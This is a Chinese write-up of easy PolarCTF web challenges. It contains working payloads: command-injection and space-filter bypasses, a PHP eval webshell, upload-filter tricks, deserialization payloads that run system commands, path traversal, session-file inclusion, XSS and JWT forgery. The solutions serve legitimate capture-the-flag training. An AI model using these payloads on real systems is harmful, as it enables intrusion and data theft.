Web刷题之PolarDN(简单)
1.swp
考点:敏感文件、preg_match()函数绕过
什么是swp文件:vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,则此文件自动删除。需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生swp文件的。强行关闭vim时,vim自动生成一个swp文件,当源文件被意外删除时,可以利用swp文件恢复源文件。
依据题目的提示,可能存在swp文件,用kali dirsearch工具扫一扫
function jiuzhe($xdmtql){ //接受一个xdmtql变量return preg_match('/sys.*nb/is',$xdmtql); //匹配变量
}$xdmtql=@$_POST['xdmtql']; //判断变量是否为数组类型,不为数组类型往下判断
if(!is_array($xdmtql)){ //利用jiuzhe函数进行匹配输入的值if(!jiuzhe($xdmtql)){if(strpos($xdmtql,'sys nb')!==false){ //绕过 preg_match函数后匹配变量,匹配到的话输出flagecho 'flag{*******}';}else{echo 'true .swp file?';}}else{echo 'nijilenijile'; //匹配到/sys.*nb/is的话输出}
}
考虑如何同时绕过pre_match()和strpos()函数,不pre_match()让匹配到,一个又要strpos()匹配到。是个回溯问题,由于pre_match()函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到,所以我们写一段代码,让pre_match()函数报错,绕过该函数,这样strpos()函数就可以顺利的匹配到我们的字符串从而输出flag
import requests
url = 'http://59103954-e786-4a4b-9a2d-380a80e0a6b9.www.polarctf.com:8090/'
data = {'xdmtql': 'sys nb' + 'a' * 1000000
}
res = requests.post(url=url, data=data)
print(res.text)
即可得到flag
flag{4560b3bfea9683b050c730cd72b3a099}
2.简单rce
题目
<?php
highlight_file(__FILE__); //对文件进行语法高亮显示function no($txt){ //定义一个no函数,并传入变量txtif(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){ //preg_match 函数用于执行一个正则表达式匹配return $txt; //返回参数值}else{die("what's up"); //输出一条消息,并退出当前脚本}
}$yyds=($_POST['yyds']); //通过POST方式传递参数yyds
if(isset($_GET['sys'])&&$yyds=='666'){ //通过GET方式传递参数sys;并判断eval(no($_GET['sys'])); //调用no函数,并输出}else{echo "nonono"; //输出nonono }
?>
解题
- 命令执行函数
system()
passthru()
exec()
shell_exec()
popen()/proc_open()
- 读取文件命令
与cat命令功能相似的命令:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
- 空格替代
<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
本题绕过
方法一:使用未被过滤的命令
passthru()
function passthru(string $command,int[optional] $return_value)
代码:<?phppassthru("ls"); ?>
执行结果:
index.phptest.php
知识点:
passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
sys=passthru('sort%09/flag');
方法二:使用php的函数来读取文件
file_get_contents() 函数
定义和用法
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
语法
file_get_contents(path,include_path,context,start,max_length)
参数 描述 path 必需。规定要读取的文件。 include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。 context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。 start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。 提示和注释
提示:该函数是二进制安全的。(意思是二进制数据(如图像)和字符数据都可以使用此函数写入。)
实例
<?php
echo file_get_contents("test.txt");
?>上面的代码将输出:
This is a test file with test text.
?sys=echo(file_get_contents('/flag'));

3.蜜雪冰城吉警店
题目提示我们点第九款单子,于是在控制台中随意修改一处id为9
先随便点点试试
控制台中发现了id,随便修改一个id为9
修改完成之后在点击修改处的按钮,即可获得flag
4.召唤神龙
打开靶场发现是一个游戏
直接F12查看界面源码, 在main.js文件中发现一串文字, 猜测是jsfuck(源于brainfuck)
上工具, 解密得到flag
flag{fdf9a88ec4fdd9e3dedaafeece5cc248}
JSFuck
- 在线加密网站:http://www.jsfuck.com/
- 在线解密网站:http://codertab.com/JsUnFuck
5.seek flag
F12发现给出提示
我们搜索一下网站目录,发现有robots.txt文件存在
访问发现flag3:c0ad71dadd11}
bp抓包,在响应头中发现flag2:3ca8737a70f029d
我们注意到在返回包中有个Set-Cookie, 我们尝试将id改为1发包, 得到flag1:flag{7ac5b
拼接三段flag得到最终结果:flag{7ac5b3ca8737a70f029dc0ad71dadd11}
6.jwt
进入网页,显示登陆或者注册
点击注册,随便注册一个号
用这个号登录
点击个人中心抓包
将抓到的JWT值通过c-jwt-cracker工具破解密钥,得到密钥是SYSA
c-jwt-cracker工具安装及使用方法https://github.com/brendan-rius/c-jwt-cracker
jwt在线加密解密工具https://www.json.cn/jwt/用jwt在线加密解密工具进行伪造
首先将抓包得到的jwt复制到编码区域,输入刚才破解的密钥进行解码
将username修改为admin,进行身份伪造,点击编码,得到新的jwt值,用新的jwt值替换bp抓包得到的jwt值
成功进入admin用户的个人中心,得到flag
flag{ec39c705cfb5295f9dddcedc819a1659}
7.login
进入页面发现是个查询界面
第一时间想到了sql注入,试了试发现没有注入点
打开F12,发现给了一个学号
bp抓包,修改学号密码最后两位进行爆破
发现02-11的页面有回显,将回显拼接起来得到flag
flag{dlcg}
8.iphone
进入页面有下面一段文字和一个按钮
.点击enter按钮显示必须用iphone或者ipad才能看到admin菜单
bp抓包,在网上找了个ipad的User-Agent,替换原来的
Mozilla/5.0 (iPad; CPU OS 12_4_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Mobile/15E148 Safari/604.1
成功得到flag
flag{ba4c2f175f0dba2f2974e676c6dfbbab}
9.浮生日记
标题显示弹个窗让我康康,试试xss
先写个最简单的弹窗,发现被过滤了
试试双写绕过
"><scrscriptipt>alert("xss")</scrscriptipt>
">闭合value标签
成功弹窗
得到 flag
flag{747b11f075d2f6f0d599058206190e27}
10. $$
分析代码
首先,代码接收GET参数c,赋值给变量$a。然后,如果c存在,就会进行正则表达式匹配。如果匹配到任何禁止的字符,就会输出“oh on!!!”并终止。否则,执行eval("var_dump($$a);");。
目标是通过eval执行来输出$flag变量的内容,而flag变量在include的flag.php文件中。所以,我需要让var_dump($$a);输出$flag。这里$$a意味着可变变量,即$a的值作为变量名。例如,如果$a是"flag",那么$$a就是$flag。
首先,我需要找到一个方法让$a的值等于"flag",但又不直接出现'flag'这四个字符。或者,通过其他方式间接引用到$flag变量。
考虑到PHP中的变量变量,或许可以用其他变量来间接获取。例如,如果存在一个变量其值为'flag',那么$$a可以指向$flag。但问题是,如何构造$a的值而不使用被过滤的字符。
比如,利用PHP的字符串解析特性。例如,通过变量名中的某些特性,如使用{}或者复杂变量表达式,但大括号被过滤了。
或者,考虑使用反斜杠来转义某些字符,但反斜杠也被过滤了。
或者,使用没有过滤的运算符,比如.号被过滤,所以无法进行字符串连接。
或者,考虑字符编码转换,比如使用十六进制或八进制表示,但数字被过滤了,所以无法直接使用。
比如,'flag'的十六进制是\x66\x6c\x61\x67,但传入时可能用双引号,但引号被过滤了,无法使用。
或者,使用异或运算来生成字符串,但PHP中如何执行异或?比如,在PHP中,两个字符串进行异或运算,但需要符号^,而^被过滤了。
或者,考虑超全局变量中的某些数组。比如,超全局变量$GLOBALS是一个包含所有全局变量的数组。那么,如果能访问$GLOBALS['flag'],那么就可以得到$flag的值。但问题是如何构造$a的值。
假设,我可以让$a等于"GLOBALS['flag']",但这样的话,$$a会被解释为可变变量,即$GLOBALS['flag'],但这可能需要不同的写法。或者,可能需要用更复杂的结构。
但是,构造这样的字符串需要考虑被过滤的字符,比如单引号被过滤了,所以无法使用'。因此,无法构造GLOBALS['flag']这样的字符串,因为包含单引号。
那是否有其他方式?比如,使用变量名替代或者其它方法?
另外,变量名中是否允许使用{}?比如,可变变量可以通过${a}的形式,但大括号被过滤了,所以也不行。
另一个思路是,PHP允许在可变变量中使用某些表达式,但需要未被过滤的字符。
比如,如果$a的值是"_GET",那么$$a就会变成$_GET。但这里的下划线被过滤了,所以无法使用。
那是否有其他超全局变量没有被过滤?比如,$GLOBALS不包含下划线?或者,可能还有其他的变量?
或者,是否有办法通过其他方式间接获取$flag的值?
例如,如果我能执行var_dump(get_defined_vars());,那么可以输出所有变量,其中可能包含$flag。但如何构造这个表达式?
当前代码中执行的是eval("var_dump($$a);");所以,如果$a的值是"GLOBALS",那么$$a就是$GLOBALS,从而var_dump($GLOBALS),这样会输出所有全局变量,包括$flag。
试一试payload:
?c=GLOBALS
成功获得flag
flag{9f8a2133f0cad361ff6d22a445c2531a}
11.爆破
进入页面有一段代码
代码分析:
检查
pass
参数:
- 如果 URL 中包含
pass
参数,脚本会对它进行 MD5 加密。- 如果没有提供
pass
参数,脚本会显示源代码。第一个条件检查:
substr($pass, 1, 1) === substr($pass, 14, 1) && substr($pass, 14, 1) === substr($pass, 17, 1)
这里验证了
md5($pass)
加密后的字符串的第 2 个字符(索引为 1),第 15 个字符(索引为 14),以及第 18 个字符(索引为 17)是否相同。第二个条件检查:
(intval(substr($pass, 1, 1)) + intval(substr($pass, 14, 1)) + substr($pass, 17, 1)) / substr($pass, 1, 1) === intval(substr($pass, 31, 1))
- 这部分要求对
md5($pass)
的第 2、15、18 个字符进行整数转换,并进行加法操作。- 然后,结果除以第 2 个字符(字符的整数值)并与第 32 个字符(索引为 31)的整数值比较。
如果条件都成立,包括
flag.php
并输出$flag
。
可以编写一个简单的程序来暴力破解这个条件
import hashlibdef check_password(pass_candidate):# 计算MD5哈希值hashed = hashlib.md5(pass_candidate.encode()).hexdigest()# 检查第一个条件:第 2、15、18 个字符相同if hashed[1] == hashed[14] == hashed[17]:# 将第 2、15、18 个字符转换为整数num1 = int(hashed[1], 16)num2 = int(hashed[14], 16)num3 = int(hashed[17], 16)# 检查第二个条件if (num1 + num2 + num3) / num1 == int(hashed[31], 16):return Truereturn False# 尝试不同的密码
for i in range(1000000): # 这里尝试 0 到 999999 的数字作为密码pass_candidate = str(i)if check_password(pass_candidate):print(f"Found password: {pass_candidate}")break
爆破出pass为422
成功得到flag
flag{8277e0910d750195b448797616e091ad}
12. XFF
HTTP请求IP伪造
适用范围:
用于在某些特定情况下,只允许特定IP才能访问的页面,后端逻辑不严谨通过前端请求头来判断IP地址;利用方式:
通过burp或者其他抓包工具添加以下下任意一个请求头,根据实际情况而定X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
flag{847ac5dd4057b1ece411cc42a8dca4b7}
13.rce1
<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/ /", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?><!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>ping</title>
</head>
<body>
<style>html{height:100%;}body{padding: 0;margin: 0;background: url(1.png);background-size: 100% 100%;position: absolute;}</style><h1>就过滤了个空格,能拿到flag算我输</h1><form action="#" method="GET"><label for="ip">IP : </label><br><input type="text" id="ip" name="ip"><input type="submit" value="Ping">
</form><hr><pre>
<?php
if ($res) {print_r($res);
}
?>
</pre><?php
show_source(__FILE__);
?></body>
</html>
代码是一道命令执行的题目,并且过滤了空格,看题目有个ip,考虑拼接符输入命令:
| 只执行第二个命令
|| 先执行第一个命令若成功则继续执行第二个命令
& 不管第一个命令是否执行成功都会执行第二个命令
&& 必须两个命令都成功才能执行
; 类似&
ping -c 4 {$ip}这很熟悉了,输入127.0.0.1;ls,返回一个fllllaaag.php
?ip=127.0.0.1;ls
直接输入127.0.0.1;cat${IFS}fllllaaag.php,就返回一个问号,查看源代码
flag{a3949821f7627a7fd30ab0722ff9b318}
常见的绕过空格的方法包括使用${IFS}、%09(tab的url编码)、或者用重定向符号<>之类的。或者使用不带空格的参数写法。
经测试%09这题无法绕过,用重定向符号127.0.0.1;cat<fllllaaag.php 可以得到flag
14.GET-POST
这题非常简单,直接按提示来
flag{a52b7cac3af0b081349001c92d79cc0a}
15.被黑掉的站
进入页面没发现什么有用的东西
用dirsearch扫描看看
扫描出来两个路径,挨个访问一下
/index.php.bak中发现一堆数字,先保存一下
/shell.php中发现要pass登录,结合刚才得到的一堆数字,尝试爆破一下
将刚才得到的数字导入bp intruder模块payload中,进行爆破
发现有一个payload长度和其他不一样,在响应包中发现flag
flag{8e539a7a46fea05dea18b9b9f9ff6a63}
16.签到题
方法一:
直接dirsearch扫描目录,得到/data/
方法二:
查看源码
bp抓包,结合上面源码注释,将cookie中的didi的值修改为yes
页面回显多了一段字
base64解码,得到./data/index.php目录
访问发现一段代码,文件包含
php伪协议结合双写绕过,用伪协议以base64编码进行内容读取
?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
将得到的base64编码后的内容解码,得到flag
flag{92eb5ffee6ae2fec3ad71c777531578f}
17.签到
进入页面发现提交按钮无法按
检查进入控制台,发现有个disabled属性,将disabled属性删除
弹窗显示提交ilovejljcxy就能得到flag
这里我们发现长度有限制
删除长度限制
成功获得flag
flag{fa3f77dd58a0a8f990bb6292da75618f}
18.session文件包含
随便输入
用伪协议进行读取(base64编码)
?file=php://filter/convert.base64-encode/resource=action.php
base64解码
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
是一个php代码
session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看
有了参数,开始猜存放session文件的位置,一般默认为tmp,直接执行命令访问session文件
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。
这里可以采取两种方式得到flag:命令读取或者蚁剑连接shell
方法一:蚁剑连接shell
查到cookie值
再用post传一句话木马
本题这里php-session存放位置在/tmp/sess_PHPSESSID
蚁剑连接,成功获得flag
方法二:命令读取
?file=/tmp/sess_65o295g198t733ujs5lld77v60
name=<?php system(' ls\ ')?>
?file=/tmp/sess_65o295g198t733ujs5lld77v60
name=<?php system(' tac /flaggggg ')?>
常用读取命令
name=<?php system('sort /flaggggg ');?>
name=<?php system('cat /flaggggg ');?>
name=<?php system('tac /flaggggg ');?>这里sort和cat命令无法读取到
flag{43306e8113f53ece238c0a124432ce19}
19.Don't touch me
进页面只有一行字
源码发现有一行注释,提示了一个目录
访问发现多了一个按钮,但是按钮没法点
将按钮的disabled属性删除
新的页面源码最后又提示了一个目录
访问得到flag
flag{0cee5a97f12b172ceeea2e9f67b7413e}
20.robots
直接访问/robots.txt ,发现有个fl0g.php页面不希望我们访问
访问得到flag
flag{2f37589152daf6f111b232ef4aea1304}
21. php very nice
打开网页源代码,由下图的代码,可见本题涉及到反序列化以及变量覆盖。
因此考虑传递GET
参数a
来构造序列字符串。
由上图中的代码,在Example类中定义了一个public成员变量,并在魔术函数__destruct中调用了敏感函数 eval
此外,出现了反序列化函数 unserialize 的调用,传入 GET 参数 a
综合上述情况,考虑通过构造参数Payload来覆盖成员变量的值,触发命令执行,获取flag
?a=O:7:"Example":1:{s:3:"sys";s:17:"system('tac f*');";}
flag{202cb962ac59075b964b07152d234b70}
22.ezupload
显然有文件上传漏洞,我们先上传个一句话木马
<?php
@eval($_REQUEST[777]);
?>
显示只支持上传GIF图片
我们将一句话木马后缀改为.gif,bp抓包,再把后缀改为php试试
成功上传
蚁剑连接,在/var/www/目录下发现flag.php文件
flag{ffffffffllllaaggg_!!!}
23.cookie欺骗
显示只有admin用户才能得到flag,直接bp抓包
cookie中有个user变量,将值改为admin
flag{10e35c76602b330149ef009e0b484d8f}
24.upload
上传一个一句话木马发现.php后缀被过滤,上传图片马bp抓包改后缀名发现也不行
源码发现有个注释
打开发现源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
直接修改后缀名为.pphphp,双写绕过
打开图片,成功上传
蚁剑连接,/var/www/flag.php
25.干正则
parse_str函数会将查询字符串解析到变量中。例如,如果id是"a=123",那么变量$a会被覆盖为123。这里可能存在变量覆盖的漏洞,因为用户输入的id参数会被解析到当前作用域的变量中。
通过
parse_str
函数的漏洞覆盖变量$a
,使其成为数组并使$a[0]
等于www.polarctf.com
。构造GET参数
id=a[0]=www.polarctf.com
,这样parse_str
会将$a
转换为数组,满足后续条件判断。
$ip
参数(来自cmd
)不能包含flag.php
,否则会被拦截。方法一:我们通过Shell变量拼接绕过检测。
构造
cmd
参数值为;a=flag;b=.php;tac $a$b
,该命令在Shell中拼接后实际执行tac flag.php
,但原始字符串不含flag.php
,绕过正则检查。方法二:利用通配符*绕过检测
构造cmd参数值为;tac f*,绕过正则检查
flag{e44882416c9fa79cc5a6a51e6e19cdbc}
26.cool
system,flag,php都被过滤,直接用passthru函数加通配符
27.uploader
本题的重点仍是文件上传,只是期间需要加上一步自主的文件上传。
打开环境,审查代码,发现在上传文件之后会自动生成一个以MD5散列值命名的目录,并将上传的文件置于其中。
因此考虑自主设计上传逻辑,笔者采用的是脚本编写的方式。
上传成功后,找出所需的MD5散列值,对 url 进行拼接,随后进行 Webshell 交互,此处依然采用了脚本的方式。
用py写个文件上传脚本
import requestsimport sys
import io
if sys.stdout.encoding != 'UTF-8':sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')url = 'http://eb5650f0-676d-4c8d-a23a-3128ab942fef.www.polarctf.com:8090/' # 替换成你的服务器地址files = {'file': open('D:\网安\一句话木马\yjh.php', 'rb')} # 将文件名替换为你想上传的文件response = requests.post(url, files=files)print(response.text)
拿到$sandbox和filename,拼接得到文件路径
http://6ae68957-2bd0-497c-9498-41aa32394ab7.www.polarctf.com:8090/fc476b1aae619597a9871112304f2d63
连接蚁剑,拿flag
flag{256d5ca173f463165db6ed366b597da8}
28.覆盖
这题跟之前的干正则差不多,就是少了个正则匹配,就不解释了
flag{e44882416c9fa79cc5a6a51e6e19cdbc}
29.PHP反序列化初试
代码分析:
首先发现Easy类中有魔术函数 __wakeup() ,实现的是对成员变量 $name 的回显。
观察下方发现, unserialize() 函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量 $name 中,以触发命令执行。
exp:
<?php
class Easy{public $name;
}
class Evil{public $evil;public $env;
}$easy = new Easy();
$evil = new Evil();
$easy->name = $evil;
$evil->evil = "tac f*";
echo serialize($easy);
?>
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}
flag{08a46a069bd77e33531bb2ab244f4196}
30.机器人
千万别爬我,直接访问robots.txt
得到了flag的前半段,这里还有个目录不给爬,猜测敏感文件在这个目录下
拼接得到完整flag
flag{4749ea1ea481a5d56685442c8516b61c}
31.扫扫看
让我们扫一扫,直接dirsearch扫描一下
扫到一个flag.php,访问该目录
源码发现注释中有flag
flag{094c9cc14068a7d18ccd0dd3606e532f}
32.debudao
打开网页有个搜索框,尝试xss注入发现有xss漏洞但是没什么用,没发现sql注入
源码中发现有个flag,但是提交是假的
最后在cookie中发现了真正的flag
flag{72077a55w312584wb1aaa88888cd41af}
33.审计
按照题目的要求,输入的xxs参数的值必须是数字,且md5值必须是0e开头,第三位是数字。
已知的一些Magic Hash包括:
- 240610708的md5是0e462097431906509019562988950854
- s878926199a的md5是0e545993274517709034328855841020
240610708刚好满足题目要求
flag{1bc29b36f623ba82aaf6724fd3b16718}
34.upload1
上传一个一句话木马,显示只能上传图片类型的文件
上传图片马,bp抓包把后缀名改为.php,直接上传成功了
连接蚁剑,拿到flag
flag{adbf5a778175ee757c34d0eba4e932bc}
35.rapyiquan
不能出现_,可以用[或者_的URL编码%5f绕过
c[md或者c%5fmd
经测试都可以
后面的正则匹配可以用\绕过检测
payload:?c[md=sort f\lag.php
flag{cf7d0e14fbf7845e50d53a478d3d10eb}
36.bllbl_ser1
查看源代码
反序列化漏洞
exp
<?phpclass bllbl{public $qiang;
}class bllnbnl{public $er;
}$a = new bllbl();
$b = new bllnbnl();
$b->er = "system('tac /f*');";
$a->qiang =$b;
echo serialize($a);?>
O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:18:"system('tac /f*');";}}
flag{f2fe05c8ecca794c80e3a46d7fa5b47e}
37.1ncIud3
扫一下
page=flag对应了./flag.php,双写绕过可以目录穿越flag替换为f1a9
flag{b7e5578d5f11ee7db50f30596052293f}
38.投喂
按题目要求,使用username和is_admin属性序列化User对象,并且设置is_admin=true
exp:
<?phpclass User{public $username;public $is_admin;
}$a=new User();
$a->is_admin=true;
echo serialize($a);?>
O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}
然后按照题目要求POST包含序列化User对象的参数“data”
flag{6f450d5d498782e74580b57b1bdd138e}
39.狗黑子的RCE
这里没有过滤 ‘\’ ‘/’,gouheizi1采用转义绕过。gouheizi2会被正则匹配将gouheizi字符替换为空,使用双写绕过
flag{d22add0cf74c46feffe95e7f8064136b}
40.button
在调试器中查看js文件
这里看到get传入路径/proxy.php?file=flag
访问页面查看源代码拿到flag
flag{ce50a09343724eb82df11390e2c1de18}
41.井字棋
玩了几局发现赢不了哈哈哈
源码中发现declareWinner函数用来显示获胜信息,并且可以调用
控制台输入declareWinner("您赢了!"); 拿到flag
flag{288CCA1ADB228E10EED4BFD85AC544B8}
42.简单的导航站
先随便注册个号
注册之后显示页面不存在,但实际上是注册成功了的
用刚才注册的号登录
这里源码泄露,为了绕过PHP中的MD5全等比较,可以利用数组参数使md5()函数返回null。传入user1[]=1&user2[]=2拿到用户名列表
得到了用户名,但是不知道哪个是管理员账号,同时也不知道管理员密码
在网站首页源码中发现了管理员密码
bp抓包,爆破出管理员账号是P0la2adm1n
管理员登陆成功后有个文件上传页面,上传个一句话木马
上传文件的目录在/uploads/下,蚁剑连接,在/var/www/flag???/目录下发现flags.txt文件,文件里有很多个flag,直接把文件下载下来,在网站的Flag认证系统中用bp 抓包爆破
爆破出来真正的flag是 flag{T4PwCg1RrQNsO4EcrQmU}
flag{T4PwCg1RrQNsO4EcrQmU}
相关文章:
Web刷题之PolarDN(简单)
1.swp 考点:敏感文件、preg_match()函数绕过 什么是swp文件: vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件…...
JVM 深入理解与性能优化
JVM(Java Virtual Machine,Java 虚拟机)是 Java 代码运行的核心,它负责 内存管理、类加载、字节码执行、垃圾回收(GC)和 JIT 编译。理解 JVM 有助于优化 Java 应用的性能,提高调试和排错能力。 …...
【人工智能】蓝耘智算平台盛大发布DeepSeek满血版:开创AI推理体验新纪元
📝个人主页🌹:Eternity._ 🌹🌹期待您的关注 🌹🌹 ❀ 蓝耘智算平台 蓝耘智算平台核心技术与突破元生代推理引擎快速入门:三步调用大模型接口,OpenAI SDK无缝兼容实战用例文…...
minio作为K8S后端存储
docker部署minio mkdir -p /minio/datadocker run -d \-p 9000:9000 \-p 9001:9001 \--name minio \-v /minio/data:/data \-e "MINIO_ROOT_USERjbk" \-e "MINIO_ROOT_PASSWORDjbjbjb123" \quay.io/minio/minio server /data --console-address ":90…...
关于 BK3633 上电时受串口 UART2 影响而无法启动的问题说明
1. 问题描述 BK3633 SDK 版本:BK3633_DesignKit_V06_2310 使用 BK3633 UART2 与指纹模块进行通讯,为了降低功耗,通过 GPIO 控制了指纹模块的供电电源。但每次给整个系统板子上电时,BK3633 很大概率会实际而无法正常运行程序&…...
运维Ansible面试题及参考答案
目录 简述 Ansible 的工作原理,它是如何实现对远程主机管理的? Ansible 是基于什么语言开发的?这门语言的特性对 Ansible 的功能实现有哪些帮助? 解释 Agentless 在 Ansible 中的含义,与基于 Agent 的自动化工具相比,优势体现在哪? Ansible 中的 Inventory 文件是什…...
Spring Boot 日志管理(官网文档解读)
摘要 本篇文章详细介绍了SpringBoot 日志管理相关的内容,文章主要参考官网文章的描述内容,并在其基础上进行一定的总结和拓展,以方便学习Spring Boot 的小伙伴能快速掌握Spring Boot 日志管理相关的内容。 日志实现方式 Sping Boot 的日志管…...
Svelte 最新中文文档教程(17)—— 生命周期钩子
前言 Svelte,一个语法简洁、入门容易,面向未来的前端框架。从 Svelte 诞生之初,就备受开发者的喜爱,根据统计,从 2019 年到 2024 年,连续 6 年一直是开发者最感兴趣的前端框架 No.1: Svelte 以…...
Windows 上源码安装 FastGPT
FastGPT 是一个强大的 AI RAG 平台,值得我们去学习了解。与常见的 Python 体系不同,Fast GPT 采用 Node.js/Next.js 平台(对于广大 JS 开发者或前端开发者比较亲切友好),安装或部署比较简单。虽然一般情况下推荐简单的…...
RT-Thread+STM32L475VET6——icm20608传感器
文章目录 前言一、板载资源二、具体步骤1.打开CubeMX进行配置1.1 使用外部高速时钟,并修改时钟树1.2 打开I2C3,参数默认即可(I2C根据自己需求调整)1.3 打开串口1.4 生成工程 2. 添加icm20608软件包3. 使能传感器,打开动态链接库4.…...
超高清大图渲染性能优化实战:从页面卡死到流畅加载
目录 问题背景:1.为什么大图会导致页面卡死?一、DOM树构建(HTML Parsing)二、 资源加载:下载完整图片文件(可能高达30MB)三、解码处理(Decoding & Rasterization)、四…...
基于javaweb的SpringBoot个人博客系统设计和实现(源码+文档+部署讲解)
技术范围:SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论…...
轻量级日志管理平台Grafana Loki
文章目录 轻量级日志管理平台Grafana Loki背景什么是Loki为什么使用 Grafana Loki?架构Log Storage Grafana部署使用基于 Docker Compose 安装 LokiMinIO K8s集群部署Loki采集Helm 部署方式和案例 参考 轻量级日志管理平台Grafana Loki 背景 在微服务以及云原生时…...
SOME/IP--协议英文原文讲解12(完结)
前言 SOME/IP协议越来越多的用于汽车电子行业中,关于协议详细完全的中文资料却没有,所以我将结合工作经验并对照英文原版协议做一系列的文章。基本分三大块: 1. SOME/IP协议讲解 2. SOME/IP-SD协议讲解 3. python/C举例调试讲解 4.3 Compa…...
Linux 命令大全完整版(12)
Linux 命令大全 5. 文件管理命令 ln(link) 功能说明:连接文件或目录。语 法:ln [-bdfinsv][-S <字尾备份字符串>][-V <备份方式>][--help][--version][源文件或目录][目标文件或目录] 或 ln [-bdfinsv][-S <字尾备份字符串>][-V…...
AI学习第二,三天-Python基础
变量、运算符与数据类型详解 注释 在 Python 中,注释是用于增加代码可读性、解释代码功能但不会被程序执行的部分。 单行注释:使用 # 符号,从 # 开始到本行末尾的内容均为注释。例如: 收起 python # 这是一个单行注释ÿ…...
Nginx代理ElasticSearch
1、将ES的账号:密码通过Base64加密 假设账号密码如下: 账号:elastic密码:elastichuayunworld.com echo -n elastic:elastichuayunworld.com | base64 ZWxhc3RpYzplbGFzdGljQGh1YXl1bndvcmxkLmNvbQ2、在 Nginx 配置中传递认证信息 locatio…...
开源AI网络爬虫工具Crawl4AI
引言 在信息化时代,网络爬虫作为从互联网中提取信息的重要工具,扮演着至关重要的角色。Crawl4AI作为一款开源AI网络爬虫工具,凭借其功能强大和易用性,受到了广泛关注。本文将详细探讨Crawl4AI的定义、特点、优势,以及…...
实现 INFINI Console 与 GitHub 的单点登录集成:一站式身份验证解决方案
本文将为您详细解析如何通过 GitHub OAuth 2.0 协议,为 INFINI Console 实现高效、安全的单点登录(Single Sign-On, SSO)集成。通过此方案,用户可直接使用 GitHub 账户无缝登录 INFINI Console,简化身份验证流程&#…...
Linux系统安装MySQL5.7(其他版本类似)避坑指南
1.远程连接 在Linux系统安装好MySQL5.7数据库,不要以为就大功告成了后面还有大坑等着你踩了。宏哥这里介绍一下远程连接遇到的坑以及如何处理。由于征文要求安装环境教学除外宏哥这里就不介绍在Linux系统安装mysql数据库,有需要的可以自己百度一下。但是…...
新数据结构(12)——代理
什么是代理 在进行操作时有时不希望用户直接接触到目标,这时需要使用代理让用户间接接触到目标 给目标对象提供一个代理对象,并且由代理对象控制着对目标对象的引用 图解: 代理的目的 控制访问:通过代理对象的方式间接的访问目…...
VLM(视觉语言模型)与DeepSeek R1(奖励机制)如何结合
